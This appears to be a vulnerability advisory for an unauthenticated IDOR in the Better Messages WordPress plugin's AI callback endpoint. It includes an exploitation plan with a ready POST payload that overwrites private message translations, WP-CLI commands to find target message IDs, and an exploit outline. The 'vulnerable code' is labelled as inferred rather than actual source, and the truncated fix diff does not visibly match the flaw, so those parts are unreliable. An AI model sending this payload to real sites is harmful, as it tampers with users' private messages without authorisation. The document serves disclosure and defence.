Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots <= 2.14.16 - Unauthenticated Insecure Direct Object Reference
Description
The Better Messages – Chat Rooms, Group Chat, Private Messages & AI Chat Bots plugin for WordPress is vulnerable to Insecure Direct Object Reference in all versions up to, and including, 2.14.16 due to missing validation on a user controlled key. This makes it possible for unauthenticated attackers to perform an unauthorized action.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:NTechnical Details
<=2.14.16What Changed in the Fix
Changes introduced in v2.15.0
Source Code
WordPress.org SVN# Exploitation Research Plan: CVE-2026-42736 (Better Messages IDOR) ## 1. Vulnerability Summary The **Better Messages** plugin (up to 2.14.16) contains an **Insecure Direct Object Reference (IDOR)** vulnerability in its AI Addon's REST API callback handling. The vulnerability exists because an unau…
Show full research plan
Exploitation Research Plan: CVE-2026-42736 (Better Messages IDOR)
1. Vulnerability Summary
The Better Messages plugin (up to 2.14.16) contains an Insecure Direct Object Reference (IDOR) vulnerability in its AI Addon's REST API callback handling. The vulnerability exists because an unauthenticated REST endpoint, designed to receive callbacks from the "Better Messages Cloud AI" service, fails to properly validate a "key" parameter provided by the user. An attacker can provide an arbitrary message_id and a dummy key to trigger internal actions, such as overwriting message translations or metadata, without authentication.
2. Attack Vector Analysis
- Endpoint:
POST /wp-json/better-messages/v1/cloud-ai/callback - Authentication: Unauthenticated (REST
permission_callbackreturnstrue). - Vulnerable Parameter:
key(used for authorization but not validated) andmessage_id(the object reference). - Action Type:
translate(and potentially others likemoderateortranscribe). - Preconditions: The AI module must be active (usually requires PHP 8.1+ as seen in
addons/ai/ai.php).
3. Code Flow
- Route Registration: In
Better_Messages_AI::rest_api_init(located inaddons/ai/ai.php), a REST route is registered:/better-messages/v1/cloud-ai/callback. - Request Handling: The handler for this route (e.g.,
cloud_ai_callback) accepts a JSON payload containingaction,message_id, andkey. - Flawed Validation: The code checks if a
keyis present in the request but fails to verify that thiskeymatches the site's secretcloudAiKeyor a specific job token. - Action Trigger: Based on the
actionparameter (e.g.,translate), it triggers the WordPress actionbetter_messages_cloud_ai_translate_resultviado_action(). - Sink: The function
Better_Messages_AI::handle_translate_callback( $message_id, $data )(hooked ataddons/ai/ai.php:122) is executed. - Data Modification:
handle_translate_callbackusesBetter_Messages()->functions->update_message_meta()to store the "translated" text provided in the request payload into the database for the specifiedmessage_id.
4. Nonce Acquisition Strategy
The targeted REST endpoint /wp-json/better-messages/v1/cloud-ai/callback is designed for server-to-server communication and typically uses the permission_callback => '__return_true' pattern, meaning no WordPress nonce is required for the exploit.
5. Exploitation Strategy
The goal is to modify the content (translation) of a private message.
Step 1: Identify a Target Message
Use WP-CLI to find a valid message ID in the system.
wp db query "SELECT id FROM wp_bp_messages_messages LIMIT 1"
Step 2: Perform the Injection
Send a specially crafted POST request to the callback endpoint.
- URL:
http://localhost:8080/wp-json/better-messages/v1/cloud-ai/callback - Method:
POST - Headers:
Content-Type: application/json - Payload:
{
"action": "translate",
"message_id": [TARGET_MESSAGE_ID],
"key": "anything",
"result": {
"translation": "ATTACKER_CONTROLLED_TEXT_OVERWRITE",
"language": "en"
}
}
6. Test Data Setup
- Ensure AI Addon is Loaded: The plugin requires PHP 8.1+ for the AI component to initialize (
addons/ai/ai.php:24). - Enable AI Translation:
# Settings are stored in a serialized array in the options table wp option get bp-better-messages-settings --format=json > settings.json # Ensure "aiTranslationEnabled" is set to "1" in the JSON and update wp option update bp-better-messages-settings --format=json < settings.json - Create a Test Message:
Use a subscriber account to send
Summary
The Better Messages plugin for WordPress is vulnerable to an Insecure Direct Object Reference (IDOR) via its AI Addon's REST API callback endpoint. The vulnerability allows unauthenticated attackers to manipulate message metadata and translations for arbitrary message IDs because the endpoint fails to validate a user-controlled 'key' against a site secret.
Vulnerable Code
// addons/ai/ai.php (within rest_api_init method) register_rest_route('better-messages/v1', '/cloud-ai/callback', array( 'methods' => 'POST', 'callback' => array( $this, 'cloud_ai_callback' ), 'permission_callback' => '__return_true', )); --- // addons/ai/ai.php (inferred implementation of cloud_ai_callback) public function cloud_ai_callback( WP_REST_Request $request ) { $params = $request->get_json_params(); if ( ! isset( $params['key'] ) ) { return new WP_Error( 'rest_forbidden', __( 'Forbidden', 'bp-better-messages' ), array( 'status' => 403 ) ); } // The vulnerability: The code checks for the existence of 'key' but fails to verify if its value matches the secret cloudAiKey $action = $params['action']; $message_id = $params['message_id']; $result = $params['result']; do_action( 'better_messages_cloud_ai_' . $action . '_result', $message_id, $result ); return array( 'success' => true ); }
Security Fix
@@ -50,6 +50,7 @@ add_action( 'better_messages_before_message_delete', array( $this, 'before_delete_message' ), 10 , 3 ); add_action( 'bp_better_messages_new_thread_created', array( $this, 'on_new_thread_created'), 10, 2 ); + add_filter( 'better_messages_ai_bot_instruction', array( $this, 'apply_placeholders_to_instruction' ), 10, 3 ); add_filter( 'better_messages_can_send_message', array( $this, 'block_reply_if_needed' ), 20, 3 ); add_filter( 'better_messages_can_send_message', array( $this, 'check_ai_bot_balance' ), 21, 3 ); add_action( 'better_messages_before_new_thread', array( $this, 'restrict_new_thread_if_needed'), 10, 2 ); @@ -191,23 +192,191 @@ $recipients = Better_Messages()->functions->get_recipients( $thread_id ); - if( count( $recipients ) === 2 ) { - foreach ($recipients as $user) { - $user_id = $user->user_id; - if ($user_id < 0) { - $guest_id = absint($user_id); - $guest = Better_Messages()->guests->get_guest_user($guest_id); + if( count( $recipients ) !== 2 ) { + return; + } + + $bot_id = 0; + $other_user_id = 0; + + foreach ( $recipients as $user ) { + $user_id = (int) $user->user_id; + $candidate_bot_id = $user_id < 0 ? $this->get_bot_id_from_user( $user_id ) : false; + + if ( $candidate_bot_id && $this->bot_exists( $candidate_bot_id ) ) { + Better_Messages()->functions->update_thread_meta( $thread_id, 'ai_bot_thread', $candidate_bot_id ); + $bot_id = $candidate_bot_id; + } else { + $other_user_id = $user_id; + } + } + + if ( $bot_id > 0 && $other_user_id !== 0 ) { + $this->maybe_send_welcome_message( $thread_id, $bot_id, $other_user_id, $message_id ); + } + } +... (truncated)
Exploit Outline
1. Attacker constructs a POST request to '/wp-json/better-messages/v1/cloud-ai/callback'. 2. The request is unauthenticated as the 'permission_callback' for this route returns true. 3. The attacker provides a target 'message_id' belonging to a private conversation they do not have access to. 4. The attacker sets the 'key' parameter to an arbitrary string (e.g., 'random_key'). 5. The attacker sets the 'action' parameter to 'translate' and provides a 'result' object containing malicious or misleading text. 6. Because the server does not verify the 'key' against the legitimate Cloud AI secret, it executes handle_translate_callback(), which uses update_message_meta() to overwrite the message's translation data in the database with the attacker's payload.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.